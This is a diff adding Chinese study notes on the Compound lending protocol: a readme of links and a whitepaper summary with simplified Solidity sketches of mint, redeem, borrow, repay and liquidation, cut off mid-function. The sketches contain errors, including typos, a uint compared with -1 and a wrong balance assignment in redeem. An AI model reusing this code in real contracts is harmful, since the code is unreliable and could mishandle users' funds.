Binary files /dev/null and b/defi/Compound/images/1e36.png differ
diff --git "a/defi/Compound/images/20\344\270\207Comp\344\273\216Reservoir\350\242\253\350\275\254\345\205\245Unitroller.png" "b/defi/Compound/images/20\344\270\207Comp\344\273\216Reservoir\350\242\253\350\275\254\345\205\245Unitroller.png"
new file mode 100644
index 000000000..ab859636c
Binary files /dev/null and "b/defi/Compound/images/20\344\270\207Comp\344\273\216Reservoir\350\242\253\350\275\254\345\205\245Unitroller.png" differ
diff --git a/defi/Compound/images/280k.png b/defi/Compound/images/280k.png
new file mode 100644
index 000000000..99c092649
Binary files /dev/null and b/defi/Compound/images/280k.png differ
diff --git a/defi/Compound/images/2days.png b/defi/Compound/images/2days.png
new file mode 100644
index 000000000..2511c7236
Binary files /dev/null and b/defi/Compound/images/2days.png differ
diff --git a/defi/Compound/images/7.png b/defi/Compound/images/7.png
new file mode 100644
index 000000000..1a9497599
Binary files /dev/null and b/defi/Compound/images/7.png differ
diff --git a/defi/Compound/images/7days.png b/defi/Compound/images/7days.png
new file mode 100644
index 000000000..61e0d7dfb
Binary files /dev/null and b/defi/Compound/images/7days.png differ
diff --git "a/defi/Compound/images/A16z\346\212\225\344\272\206\350\265\236\346\210\220\347\245\250&Berkeley\346\212\225\344\272\206\345\217\215\345\257\271\347\245\250.png" "b/defi/Compound/images/A16z\346\212\225\344\272\206\350\265\236\346\210\220\347\245\250&Berkeley\346\212\225\344\272\206\345\217\215\345\257\271\347\245\250.png"
new file mode 100644
index 000000000..a5c649f00
Binary files /dev/null and "b/defi/Compound/images/A16z\346\212\225\344\272\206\350\265\236\346\210\220\347\245\250&Berkeley\346\212\225\344\272\206\345\217\215\345\257\271\347\245\250.png" differ
diff --git a/defi/Compound/images/COMP_2021-2022.png b/defi/Compound/images/COMP_2021-2022.png
new file mode 100644
index 000000000..35bea837b
Binary files /dev/null and b/defi/Compound/images/COMP_2021-2022.png differ
diff --git a/defi/Compound/images/Compound_Reward.png b/defi/Compound/images/Compound_Reward.png
new file mode 100644
index 000000000..bb9266002
Binary files /dev/null and b/defi/Compound/images/Compound_Reward.png differ
diff --git a/defi/Compound/images/Disable_As_Collateral.jpeg b/defi/Compound/images/Disable_As_Collateral.jpeg
new file mode 100644
index 000000000..f0a390799
Binary files /dev/null and b/defi/Compound/images/Disable_As_Collateral.jpeg differ
diff --git a/defi/Compound/images/Liquidating_Exited_Asset.png b/defi/Compound/images/Liquidating_Exited_Asset.png
new file mode 100644
index 000000000..f5478468c
Binary files /dev/null and b/defi/Compound/images/Liquidating_Exited_Asset.png differ
diff --git "a/defi/Compound/images/Rekt\344\270\212\346\216\222\345\220\215\347\254\254\344\272\214.png" "b/defi/Compound/images/Rekt\344\270\212\346\216\222\345\220\215\347\254\254\344\272\214.png"
new file mode 100644
index 000000000..b55a0096a
Binary files /dev/null and "b/defi/Compound/images/Rekt\344\270\212\346\216\222\345\220\215\347\254\254\344\272\214.png" differ
diff --git a/defi/Compound/images/SNX.png b/defi/Compound/images/SNX.png
new file mode 100644
index 000000000..f50d77453
Binary files /dev/null and b/defi/Compound/images/SNX.png differ
diff --git a/defi/Compound/images/_InitializeMarket.png b/defi/Compound/images/_InitializeMarket.png
new file mode 100644
index 000000000..8586d57e3
Binary files /dev/null and b/defi/Compound/images/_InitializeMarket.png differ
diff --git a/defi/Compound/images/claimComp.png b/defi/Compound/images/claimComp.png
new file mode 100644
index 000000000..8c552012c
Binary files /dev/null and b/defi/Compound/images/claimComp.png differ
diff --git a/defi/Compound/images/contract-deploy.png b/defi/Compound/images/contract-deploy.png
new file mode 100644
index 000000000..2d5fe20ef
Binary files /dev/null and b/defi/Compound/images/contract-deploy.png differ
diff --git a/defi/Compound/images/if.png b/defi/Compound/images/if.png
new file mode 100644
index 000000000..16fecbb45
Binary files /dev/null and b/defi/Compound/images/if.png differ
diff --git a/defi/Compound/images/supplyState_index.png b/defi/Compound/images/supplyState_index.png
new file mode 100644
index 000000000..2f93414b4
Binary files /dev/null and b/defi/Compound/images/supplyState_index.png differ
diff --git "a/defi/Compound/images/\345\210\233\345\247\213\344\272\272\350\257\267\346\261\202\350\277\224\350\277\230.png" "b/defi/Compound/images/\345\210\233\345\247\213\344\272\272\350\257\267\346\261\202\350\277\224\350\277\230.png"
new file mode 100644
index 000000000..e827b4f32
Binary files /dev/null and "b/defi/Compound/images/\345\210\233\345\247\213\344\272\272\350\257\267\346\261\202\350\277\224\350\277\230.png" differ
diff --git "a/defi/Compound/images/\345\245\227\345\250\203.png" "b/defi/Compound/images/\345\245\227\345\250\203.png"
new file mode 100644
index 000000000..667d29fdb
Binary files /dev/null and "b/defi/Compound/images/\345\245\227\345\250\203.png" differ
diff --git "a/defi/Compound/images/\350\242\253\345\210\235\345\247\213\345\214\226\344\270\2721e36.png" "b/defi/Compound/images/\350\242\253\345\210\235\345\247\213\345\214\226\344\270\2721e36.png"
new file mode 100644
index 000000000..1e885763b
Binary files /dev/null and "b/defi/Compound/images/\350\242\253\345\210\235\345\247\213\345\214\226\344\270\2721e36.png" differ
diff --git "a/defi/Compound/images/\350\277\230\347\232\204\344\272\272\345\271\266\344\270\215\345\244\232.png" "b/defi/Compound/images/\350\277\230\347\232\204\344\272\272\345\271\266\344\270\215\345\244\232.png"
new file mode 100644
index 000000000..b5dfa7e91
Binary files /dev/null and "b/defi/Compound/images/\350\277\230\347\232\204\344\272\272\345\271\266\344\270\215\345\244\232.png" differ
diff --git a/defi/Compound/readme.md b/defi/Compound/readme.md
new file mode 100644
index 000000000..c99ae2c7a
--- /dev/null
+++ b/defi/Compound/readme.md
@@ -0,0 +1,53 @@
+# Compound
+
+是一个以太坊上的货币市场，一个任何用户、机构和 dApps 都可以使用的链上账本。它提供了存币和借币的功能，就像一个银行，用户可以存币获的利息收益，或进行抵押借币。在实现原理上，Compound 的帐本模型也与银行类似，并遵循了国际会计准则。
+基础特性：
+
+- 资金池
+- 基于供需法则，由算法生成利率
+- 浮动利率，无需协商
+- 完全透明的代币余额信息，记录所有历史利率
+
+利率模型：
+
+```js
+U = 借款 /（ 现金 + 借款 ）
+借款利率 = 10% + U _30%
+存款利率 = 借款利率_ U \*（ 1 - S ）
+```
+
+## 白皮书
+
+请参考[compound 白皮书简述](./whitepaper/Compound白皮书简述.md)
+
+- [compound 中文白皮书](https://www.chainnews.com/articles/465280458982.htm)
+- [compound 英文白皮书](https://compound.finance/documents/Compound.Whitepaper.pdf)
+
+## 智能合约
+
+请参考[智能合约](./contract/Compound合约部署.md)
+
+## SDK
+
+## 分析工具
+
+[GeoGebra](https://www.geogebra.org/) -- 数学作图工具
+
+## dao 治理
+
+请参考[Governance](./DAO/readme.md)
+
+## 参考链接
+
+- comp 治理： <https://docs.qq.com/doc/DVHRTcGlld1RNanN0>
+- <https://learnblockchain.cn/article/1357> 代理投票
+- <https://medium.com/coinmonks/math-in-solidity-part-4-compound-interest-512d9e13041b>
+- <https://github.com/compound-developers/compound-governance-examples>
+- <https://medium.com/steaker-com/defi-%E7%9A%84%E4%B8%96%E7%95%8C-compound-%E5%AE%8C%E5%85%A8%E8%A7%A3%E6%9E%90-%E5%88%A9%E7%8E%87%E6%A8%A1%E5%9E%8B%E7%AF%87-95e9b303c284>
+- <https://medium.com/steaker-com/defi-%E7%9A%84%E4%B8%96%E7%95%8C-compound-%E5%AE%8C%E5%85%A8%E8%A7%A3%E6%9E%90-%E6%96%B0%E7%89%88-dai-%E5%88%A9%E7%8E%87%E7%AF%87-f72bae7a54f6>
+- <https://github.com/codenamejason/compound-supply-examples/tree/master/solidity-examples>
+- <https://learnblockchain.cn/article/1015>
+- <https://github.com/compound-developers/compound-supply-examples>
+- 清算机器人：https://blog.baowebdev.com/2019/11/how-to-build-a-compound-liquidation-bot/
+- comp 清算机器人：https://cryptomarketpool.com/compound-finance-liquidation-bot/
+- comp重入攻击： https://mp.weixin.qq.com/s/ht2YskJ9i3yCgY-PLC6vKw  
\ No newline at end of file
diff --git "a/defi/Compound/whitepaper/Compound\347\231\275\347\232\256\344\271\246\347\256\200\350\277\260.md" "b/defi/Compound/whitepaper/Compound\347\231\275\347\232\256\344\271\246\347\256\200\350\277\260.md"
new file mode 100644
index 000000000..9c3491237
--- /dev/null
+++ "b/defi/Compound/whitepaper/Compound\347\231\275\347\232\256\344\271\246\347\256\200\350\277\260.md"
@@ -0,0 +1,853 @@
+# compound
+
+一千个读者就有一千个哈姆雷特，前有[Keegan小刚](https://learnblockchain.cn/people/96)的五篇长篇巨制分析过Compound这一明星借贷产品，现在再从另一个角度来分析这一产品。
+![](https://img.learnblockchain.cn/pics/20210727085513.png)
+
+## 要解决什么问题
+
+加密货币市场参与者无法交易其资产的时间价值。人们为什么需要利息？因为利息填补了有多余资产无处使用的人和需要资产去投资和生产的人之间的裂隙。交易资产的时间价值同时使得双方受益，并创造出了一个非零和的财富。对于区块链资产，目前有两大缺点存在：
+
+1. 借贷机制严重受限，这导致了错误的资产价格
+2. 持有区块链资产是一个负产出，由于其存储损失和高风险。
+
+目前市面上已有两种解决方案：
+
+1. 中心化交易所，如Bitfinex，Poloniex等，其允许用户进行期货交易，然而用户需要信任该系统，即需要信任该交易所不会被黑，也不会跑路。并且在中心化的交易所内的头寸和持仓等都是一些交易所数据库的数字而已，你不能将其直接用在以太坊上的DAPP中，如参与ICO等
+2. 点对点的合约，如直接针对借贷人的抵押或者非抵押的贷款。然而去中心化的机制严重的增加了用户的成本和阻力。在市面上的所有点对点合约中，放款人需要去发布放贷信息，管理和审核贷款提议，激活贷款。并且贷款回款总是非常慢并且是非同步的（贷款必须先被还款，这需要时间）
+
+![](https://img.learnblockchain.cn/pics/20210727085521.png)
+
+## 如何设计模型
+
+Compound是以太坊上的一系列合约，它建立了一组资金池，每个资金池都有基于供需的算法衍生利率。放款人和借款人都直接与合约交互，去获取利息或者支付利息。每一个资金池都包含唯一一种以太坊资产（如ETH，DAI或者其他的Augur等），并且包含有一份透明的，公众可查的账本，其记录了所有的交易和历史利率。
+
+### 提供流动性
+
+不同于中心化交易所或者P2P平台，其用户的资产互相匹配并直接借给另一个用户，Compound合约聚合了每一个用户提供的流动性。当用户提供一种资产时，该种资产就转换为一种可替换的资源cToken。这种方式比直接借给用户提供了显著得多的流动性。除非资金池中的所有资产都被借走，用户可以随时提走他们的资产，而不需要等待某一个特定的贷款到期。
+![](https://img.learnblockchain.cn/pics/20210727085531.png)
+
+提供给资金池的资产被转换为一个ERC-20 Token，称为cToken, 该token确保拥有者享有增值抵押资产的权力。由于资金池中利率的积累，其是一个借贷需求的函数，cToken能够换回更多的原抵押资产。
+
+此处与Uniswap中LP token的增值逻辑类似, cToken的增值是这段时间中的利息的积累。
+
+> 在 Uniswap 中，LP token 在 mint 中被铸造出来，在 burn 中销毁。除开首次铸造，非首次铸造的 LP token 数量都是与 LP token 的当前总量成线性关系。LP token 的价值来源于流动性的提供，即 mint 方法。LP token 的增值逻辑是时间段 ( $t_1$, $t_2$) 间的 swap 交易手续费的累计。swap 的交易手续费又可以表现为时间段( $t_1$, $t_2$)对应的( $\sqrt{k_1}$, $\sqrt{k_2}$​​)的增值。
+
+### 借贷流动性
+
+Compound允许用户无摩擦地从协议中借款，使用cTokens作为抵押品，在以太坊生态系统的任何地方使用。与点对点协议不同，从Compound借贷只需要用户指定所需的资产；没有任何条款需要协商，到期日或融资期；借贷是即时和可预测的。与提供资产类似，每个货币市场都有一个由市场力量设定的浮动利率，这决定了每个资产的借贷成本。
+![](https://img.learnblockchain.cn/pics/20210727085538.png)
+
+#### 抵押价值
+
+协议持有的资产（由cToken的所有权代表）被用作向协议借款的抵押品。每个市场都有一个抵押品系数，范围从0到1，代表可以借入的基础资产价值的部分。流动性差的小盘资产的抵押品系数低；它们不是很好的抵押品，而流动性好的大盘资产的抵押品系数高。一个账户基础代币余额的价值之和，乘以抵押品系数，等于用户的借款能力。
+
+$$
+Borrowing\ Capacity =\sum{N} \cdot f
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=Borrowing\%20Capacity%20=\sum{N}%20\cdot%20f" /> -->
+
+用户能够借到但不超过他们的借贷能力，而且一个账户不能采取任何会使借贷资产总值超过其借贷能力的行为（例如借贷、转移cToken抵押品或赎回cToken抵押品）；这可以保护协议免受违约风险。
+
+#### 风险和清算
+
+如果一个账户的未偿还借款的价值超过了他们的借款能力，一部分未偿还的借款可以被偿还，以换取用户的cToken抵押品，以当前的市场价格减去清算折扣；这激励了一个套利者的生态系统迅速介入，减少借款人的风险，并消除协议的风险。
+
+有资格被关闭的比例，即关闭因子，是可以被偿还的借款资产的部分，范围从0到1，如25%。清算过程可以继续调用，直到用户的借款少于他们的借款能力，即达到安全债务部分。
+
+任何拥有借款资产的以太坊地址都可以调用清算功能，用他们的资产交换借款人的cToken抵押品。由于用户、资产和价格都包含在Compound协议中，清算是无摩擦的，不依赖于任何外部系统或订单簿。
+
+![](https://img.learnblockchain.cn/pics/20210727085545.png)
+
+### 利率模型
+
+在每个货币市场上，compound协议不是由个别供应商或借款人就条款和利率进行谈判，而是利用一个利率模型，根据供求关系实现利率平衡。根据经济理论，当需求低的时候，利率应该是低的，反之亦然，当需求高的时候，利率应该是高的。每个市场的利用率U将供应和需求统一为一个单一的变量。
+
+$$
+资金利用率：U_a = \frac {Borrows_a} { (Cash_a + Borrows_a - Reserves_a) }
+$$
+
+需求曲线是通过治理来设置的，并表示为资金利用率的一个函数。作为一个例子，借贷利率可能类似于以下。
+
+$$
+贷款利率：a=0.025 +U_a \cdot 0.2
+$$
+
+供应商获得的利率是隐性的，等于借款利率，乘以利用率。
+
+$$
+存款利率：b=a\times U_a
+$$
+
+![](https://img.learnblockchain.cn/pics/20210727085554.png)
+
+#### 流动性激励结构
+
+该协议不保证流动性；相反，它依靠利率模型来激励流动性。在对资产的极端需求时期，协议的流动性（可提取或借用的代币）将下降；当这种情况发生时，利率上升，激励供应，抑制借款。
+
+#### 利率的移动
+
+从上面的公式可以看到，只要利用率x发生变化，则利率就会相应的移动变化。而资金利用率受铸币（供给），借贷（消费）的影响。
+
+## 如何实现模型
+
+在其核心，compound货币市场是一个公开账本，允许以太坊账户供应或借用资产，同时计算利息，这是一个时间函数。
+
+### cToken
+
+每个货币市场的资金池都是一个智能合约，实现了ERC-20代币规范。用户的余额表示为cToken余额；用户可以通过向市场提供资产来`mint（uint amountUnderlying）`cToken，或者用基础资产`redeem（uint amount）`cToken。cTokens和基础资产之间的价格（汇率）随着时间的推移而增加，因为资产的借款人会产生利息
+
+$$
+cToken的汇率: exchangeRate=\frac{underlyingBalance+totalBorrowBalance_a-reserves_a}{cTokenSupply_a}
+$$
+
+随着市场的总借贷余额`totalBorrowBalance`的增加（作为借款人应计利息的函数），cTokens和基础资产之间的汇率也会增加。
+
+:question:为什么要减去reserves?
+
+| Function ABI                                                 | Description                                                  |
+| ------------------------------------------------------------ | ------------------------------------------------------------ |
+| $mint(uint256 \ amountUnderlying)$                          | 将一个标的资产转入市场，更新msg.sender的cToken余额。         |
+| $redeem(uint256 \  amount) \\ redeemUnderlying(uint256 \ amountUnderlying)$ | 将一个标的资产转出市场，更新msg.sender的cToken余额。         |
+| $borrow(uint \ amount)$                                 | 检查msg.sender的抵押品价值，如果足够，将标的资产转出市场至msg.sender，并更新msg.sender的借款余额。 |
+| $repayBorrow(uint \ amount) \\ repayBorrowBehalf(address \ account, uint \  amount)   $ | 将标的资产转入市场，更新借款人的借款余额。                   |
+| $liquidate(address \ borrower,\\ address \  collateralAsset, uint \ closeAmount)   $ | 将标的资产转入市场，更新借款人的借款余额，然后将cToken抵押品从借款人转移到msg.sender。 |
+
+#### mint函数
+
+mint函数增加了cToken的供应量，从而改变了利用率U,故存款利率和借款利率都会相应移动。当存款利率和借款利率移动前，需要更新应为未付利息。
+
+mint函数在compound中的实现很复杂，添加了很多的检查，但其实质逻辑很简单，如下：
+
+```js
+function mint(uint mintAmount) external returns (uint) {
+	//检查1. 应付未付利息
+    require(accrueInterest()==uint(Error.NO_ERROR));
+    //检查2：审计合约是否允许该合约铸币
+    require(mintAllowed(address(this), minter, mintAmount)==uint(Error.NO_ERROR));
+    //检查3：检查market的区块编号是否为当前编号
+    require(block.number==accureBlockNumber);
+    //检查4：检查msg.sender是否有足够的token余额来transfer给minter合约
+    require(checkTransferIn(minter, mintAmount));
+	//计算1：计算当前的cToken兑换Token的汇率
+    (,vars.exchangeRateMantissa)= exchangeRateStoredInternal();
+    //存币到minter合约
+    token.transferFrom(msg.sender, address(this), mintAmount);
+	//计算2：根据汇率算出需要铸造的cToken的数量
+    vars.mintToken = mintAmount / vars.exchangeRateMantissa;
+    //生效1：更新全局变量totalSupply
+    totalSupply = totalSupply + vars.mintToken;
+    //生效2：更新全局变量accountTokens[minter],当前用户的余额
+    accountTokens[minter] = accountTokens[minter] + vars.mintToken;
+    //检查5：调用审计合约检查是否铸币成功
+    comptroller.mintVerify(address(this),minter,vars.actualMintAmount,vars.mintTokens);
+    //返回：铸造的cToken数量
+    return vars.mintToken;
+    
+}
+```
+
+![](https://img.learnblockchain.cn/pics/20210727085603.png)
+
+```js
+//cErc20.sol 中mint方法
+function mint(uint mintAmount) external returns (uint) {
+    //调用cToken.sol中的mintInternal方法
+    (uint err,) = mintInternal(mintAmount);
+    return err;
+}
+//cToken.sol中mintInternal方法
+function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
+	//检查应付未付利息是否为0
+    (uint err) = accrueInterest();
+    require(err==uint(Error.NO_ERROR), "error for accureInterest");
+    //调用mintFresh方法
+    return mintFresh(msg.sender, mintAmount);
+}
+//cToken.sol中mintFresh方法
+//用户向市场提供资产，并获得cTokens作为交换。
+struct MintLocalVars {
+    Error err;
+    MathError mathErr;
+    uint exchangeRateMantissa;
+    uint mintTokens;
+    uint totalSupplyNew;
+    uint accountTokensNew;
+    uint actualMintAmount;
+}
+function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
+	//检查审计合约中的是否允许铸币
+    // address(this)本合约即cToken.sol合约地址是cToken的合约地址
+    uint err = mintAllowed(address(this), minter, mintAmount);
+    require(err==Error.NO_ERROR, "not allowed");
+    //验证market的区块号码是否等于当前区块号码
+    require(accrualBlockNumber == block.number);
+    //如果调用checkTransferIn(minter, mintAmount)失败，则失败。
+    //checkTransferIn函数作用是检查该合同是否有足够的余量从`from`中转移金额，以及`from'是否有至少`amount'的余额。不做转账。
+    MintLocalVars memory vars;
+    vars.err = checkTransferIn(minter, mintAmount);
+    require(checkTransferIn(minter, mintAmount));
+    //我们得到当前的汇率，并计算出要铸造的cTokens数量。
+    (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
+    require(vars.mathErr == Error.NO_ERROR);
+    //exchangeRate = invoke Exchange Rate Stored()
+    //注意：除数在必要时被四舍五入到零，因此有可能出现0个代币。
+    // transfer token from minter to address(cErc20), 先转移token
+    token.transferFrom(minter, address(cErc20),mintAmount);
+    vars.actualMintAmount = mintAmount;
+    // 除法的精度问题有可能最后铸造0个cToken
+    vars.mintTokens = mintAmount / vars.exchangeRateMantissa;
+    //我们计算新的cTokens总供应量和cToken代币余额。
+    vars.totalSupplyNew = totalSupply + vars.mintTokens;
+    totalSupply = vars.totalSupplyNew;
+    vars.accountTokenNew = accountTokens[minter] + vars.mintTokens;
+    accountTokens[minter] = vars.accountTokenNew;
+    // 调用审计合约的mintVerify方法
+    comptroller.mintVerify(address(this),minter,vars.actualMintAmount, vars.mintTokens);
+    return (uint(Error.NO_ERROR), vars.mintTokens);
+}
+```
+
+#### redeem函数
+
+cToken->token, 基本上是mint函数的逆函数。
+
+```js
+//cErc20.sol 中的redeem方法
+function redeem(uint redeemTokens) external returns (uint) {
+    //调用redeemInternal方法
+    return redeemInternal(redeemTokens);
+}
+//cToken.sol 中的redeemInternal方法
+function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
+    //检查应付未付利息
+    require(accureInterest() == uint(Error.NO_ERROR));
+    //调用redeemFresh方法
+    return redeemFresh(msg.sender, redeemTokens, 0);
+}
+//cToken.sol 中的redeemFresh方法
+struct RedeemLocalVars {
+    Error err;
+    MathError mathErr;
+    uint exchangeRateMantissa;
+    uint redeemTokens;
+    uint redeemAmount;
+    uint totalSupplyNew;
+    uint accountTokensNew;
+}
+function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) 
+		internal 
+		returns (uint) {
+    //检查1：输入检查，redeemTokensIn或者redeemAmountIn必须有一个为0
+    require(redeemTokensIn == 0 || redeemAmountIn == 0);
+    //计算1：拿到cToken兑换Token的汇率
+    RedeemLocalVars memory vars;
+    (vars.err, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
+    //计算2：根据兑换比例，算出要兑换的token和需要的cToken数量
+    if (redeemTokensIn > 0) {
+        vars.redeemTokens = redeemTokensIn;
+        vars.redeemAmount = vars.redeemTokens * vars.exchangeRateMantissa;
+    } else {
+       //只要固定数量的Token
+        vars.redeemTokens = redeemAmountIn / vars.exchangeRateMantissa;
+        vars.redeemAmount = redeemAmountIn;
+    }
+	//检查2：审计合约是否允许redeem
+    require(redeemAllowed(address(this),redeemer, vars.redeemTokens)==0);
+    //检查3：检查market的区块编号是否为当前编号
+    require(block.number == accrualBlockNumber);
+    //计算3：计算新的totalSupply和cToken 余额
+    vars.totalSupplyNew = totalSupply - vars.redeemTokens;
+    vars.accountTokensNew = accountTokens[redeemer] - vars.redeemTokens;
+    //检查4：检查合约是否有足够的现金Token用于兑换给用户
+    require(getCashPrior() >= vars.redeemAmount);
+    //执行：发送token给到用户
+    doTransferOut(redeemer, vars.redeemAmount);
+    //生效：更新totalSupply和accountTokens[redeemer]到全局变量
+    totalSupply = vars.totalSupply;
+    accountTokens[redeemer] = vars.redeemAmount;
+    //检查5：审计合约检查确认是否已经完成redeem
+    comptroller.redeemVerify(address(this),redeemer,vars.redeemAmount,vars.redeemTokens);
+    //返回
+    return uint(Error.NO_ERROR);
+}
+```
+
+:question: 为什么是检查-执行-生效模式，而不是检查-生效-执行呢？即如果将执行：`doTransferOut(redeemer, vars.redeemAmount);`放到生效后面，即如下所示，有什么问题吗？
+
+```js
+//生效：更新totalSupply和accountTokens[redeemer]到全局变量
+totalSupply = vars.totalSupply;
+accountTokens[redeemer] = vars.redeemAmount;
+//执行：发送token给到用户
+doTransferOut(redeemer, vars.redeemAmount);
+```
+
+![](https://img.learnblockchain.cn/pics/20210727085614.png)
+
+#### borrow函数
+
+borrow增加totalBorrowBalance，会改变汇率，也会改变资金利用率，从而改变借贷利率和存款利率
+
+token->borrower
+
+```js
+//cErc20.sol borrow
+function borrow(uint borrowAmount) external returns (uint) {
+    //调用cToken中的borrowInternal 函数
+    return borrowInternal(borrowAmount);
+}
+//cToken.sol borrowInternal
+function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
+    //检查1：应付未付利息
+    require(accureInterest()==uint(Error.NO_ERROR));
+    //调用borrowFresh方法
+    return borrowFresh(msg.sender,borrowAmount);
+}
+//cToken.sol borrowFresh
+struct BorrowLocalVars {
+    MathError mathErr;
+    uint accountBorrows;
+    uint accountBorrowsNew;
+    uint totalBorrowsNew;
+}
+function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
+    //检查1：审计合约是否允许borrow
+    require(comptroller.borrowAllowed(address(this),borrower,borrowAmount)==0);
+    //检查2：当前区块号码与资金池区块号码是否一致
+    require(block.number == accuralBlockNumber);
+    //计算1：新的借贷债务总额和该用户的借贷债务
+    BorrowLocalVars memory vars;
+    vars.accountBorrows = borrowBalanceStoredInternal(borrower);
+    vars.accountBorrowsNew = vars.accountBorrows + borrowAmount;
+    vars.totalBorrowsNew = totalBorrows + borrowAmount;
+    //检查3：当前现金Token数量大于要借贷的数量
+    require(getCashPrior() >= borrowAmount);
+    //执行1：转给借贷者相应的token数量
+    doTransferOut(borrower, borrowAmount);
+    //生效1：将借贷债务总额和用户的借贷债务写入全局变量
+    totalBorrows = vars.totalBorrowsNew;
+    accountBorrows[borrower].principal = vars.accountBorrowsNew;
+    accountBorrows[borrower].interestIndex = borrowIndex;
+    //检查4：审计合约检查是否有效的借出token
+    comptroller.borrowVerify(address(this),borrower,borrowAmount);
+    return uint(Error.NO_ERROR);
+}
+```
+
+![](https://img.learnblockchain.cn/pics/20210727085622.png)
+
+#### repayBorrow函数
+
+borrower->pay token->compound
+
+```js
+//cERC20.sol
+function repayBorrow(uint repayAmount) external returns (uint) {
+	(uint err, ) = repayBorrowInternal(repayAmount);
+	require(err == uint(Error.NO_ERROR));
+	return uint(Error.NO_ERROR);
+}
+//cToken.sol repayBorrowInternal
+//偿付自己的债务
+function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
+	//检查1：应付未付利息
+	require(accureInterest() == uint(Error.NO_ERROR));
+	repayBorrowFresh(msg.sender,msg.sender,repayAmount);
+}
+//代为偿还他人的债务
+function repayBorrowBehalfInternal(address borrower, uint repayAmount) 
+	internal 
+	nonReentrant 
+	returns (uint, uint) 
+{
+	//检查1：应付未付利息
+	require(accureInterest() == uint(Error.NO_ERROR));
+	repayBorrowFresh(msg.sender,borrower,repayAmount);
+}
+
+//cToken.sol repayBorrowFresh
+struct RepayBorrowLocalVars {
+    Error err;
+    MathError mathErr;
+    uint repayAmount;
+    uint borrowerIndex;
+    uint accountBorrows;
+    uint accountBorrowsNew;
+    uint totalBorrowsNew;
+    uint actualRepayAmount;
+}
+function repayBorrowFresh(address payer, address borrower, uint repayAmount) 
+	internal 
+	returns (uint, uint) 
+{
+	//检查1：审计合约允许偿还债务
+    require(
+        comptroller.repayBorrowAllowed(address(this),payer,borrower,repayAmount)==uint(Error.NO_ERROR)
+    );
+    //检查2：当前区块号码与资金池的区块号码是否一致
+    require(block.number == accurualBlockNumber);
+    //计算1：计算欠款人债务总额，含应付未付利息
+    RepayBorrowLocalVars memory vars;
+    //计算1：拿到债务人的当前债务编号
+    vars.borrowerIndex = accountBorrows[borrower].interestIndex;
+    vars.accountBorrows = borrowBalanceStoredInternal(borrower);
+    if (repayAmount == -1) {
+        //偿还全部债务
+        vars.repayAmount = vars.accountBorrows;
+    } else {
+        //偿还repayAmount数量的债务
+        vars.repayAmount = repayAmount;
+    }
+    //检查3：检查是否有足够的token余额以便于打款到本合约
+    require(checkTransferIn(underlying,payer,repayAmount) == uint(Error.NO_ERROR));
+    //计算2：更新后的债务总额和债务人的债务总额
+    vars.accountBorrowsNew = vars.accountBorrows - vars.repayAmount;
+    vars.totalBorrowsNew = totalBorrows - vars.repayAmount;
+    //执行：将token打款到本合约
+    vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
+    //生效1：将更新后的债务总额和债务人的债务总额写入全局变量
+    totalBorrows = vars.totalBorrowsNew;
+    accountBorrows[borrower].principal = vars.accountBorrowsNew;
+    accountBorrows[borrower].interestIndex = borrowIndex;
+    //检查4：审计合约审核是否已经完成repayBorrow
+    comptroller.repayBorrowerVerify(address(this),payer,borrower,vars.repayAmount,vars.borrowerIndex);
+    return (uint(Error.NO_ERROR), vars.actualRepayAmount);
+}
+```
+
+![](https://img.learnblockchain.cn/pics/20210727085631.png)
+
+#### liquidate函数
+
+token In,cToken out
+
+```js
+//cErc20.sol
+function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) 
+	external 
+    returns (uint) 
+{
+    (uint err, ) = liquidateBorrowInternal(borrower,repayAmount,cTokenCollateral);
+    return err;
+}
+//cToken.sol liquidateBorrowInternal
+function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) 
+	internal 
+    nonReentrant 
+    returns (uint, uint) 
+{
+    //检查1：应付未付利息
+    require(accrueInterest() == uint(Error.NO_ERROR));
+    //检查2：cTokenCollateral的应付未付利息 Collateral-抵押品，担保物
+    require(cTokenCollateral.accrueInterest() == uint(Error.NO_ERROR));
+    
+    return liquidateBorrowFresh(msg.sender, borrower,repayAmount,CTokenCollateral);
+}
+//cToken.sol liquidateBorrowsFresh
+function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) 
+	internal 
+    returns (uint, uint) 
+{
+    //检查1：审计合约是否允许执行清算
+    require(
+        comptroller.liquidateBorrowAllowed(
+            address(this),
+            cTokenCollateral,
+            liquidator,
+            borrower,
+            repayAmount) == uint(Error.NO_ERROR)
+    );
+    //检查2：当前区块编号与资金池中记录区块编号是否一致
+    requrie(block.number == accrualBlockNumber);
+    //检查3：当前区块编号与cTokenCollateral资金池中记录区块编号是否一致
+    require(block.number == cTokenCollateral.accrualBlockNumber());
+    //检查4：清算者不能是借款人自己
+    require(liquidator != borrower);
+    //检查5：还款金额不能为0，还款金额不能为-1
+    require(repayAmount != 0);
+        //问题：uint怎么与-1比较？
+    require(repayAmount != uint(-1));
+    //计算1：计算需要分发给清算者的cToken数量，即扣除债务人的cToken数量
+    (uint err, uint seizeTokens) = 	
+        comptroller.liquidateCalculateSeizeTokens(address(this),cTokenCollateral,repayAmount);
+    require(err == uint(Error.NO_ERROR));
+    //检查6：要扣除的cToken数量必须要小于等于债务人的cToken余额
+    require(seizeTokens <= cTokenCollateral.balanceOf(borrower));
+    //执行：执行代偿还token
+    (uint err, ) = repayBorrowFresh(liquidator, borrower, repayAmount);
+    require(err == uint(Error.NO_ERROR));
+    //执行：执行代发cToken给清算者
+    //为防止重进入攻击，这里区分cTokenCollateral cToken抵押合约是否就是cTokenBorrowed cToken借贷合约
+    if (address(this) == address(cTokenCollateral)) {
+    	require(seizeInternal(address(this), liquidator, borrower, seizeTokens) ==
+                uint(Error.NO_ERROR));    
+    } else {
+	    require(cTokenCollateral.seize(liquidator,borrower,seizeTokens) == uint(Error.NO_ERROR));
+    }
